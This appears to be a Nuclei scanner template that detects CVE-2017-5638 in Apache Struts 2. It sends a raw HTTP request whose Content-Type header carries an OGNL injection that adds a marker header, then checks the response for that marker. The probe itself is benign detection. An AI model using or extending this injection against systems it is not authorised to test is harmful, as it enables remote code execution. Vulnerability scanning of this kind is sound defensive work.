id: CVE-2017-5638

info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
  reference:
    - https://github.com/mazen160/struts-pwn
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
  tags: cve,cve2017,struts,rce,apache,kev

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
        Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

    matchers:
      - type: word
        words:
          - "X-Hacker: Bounty Plz"
        part: header

# Enhanced by mp on 2022/04/26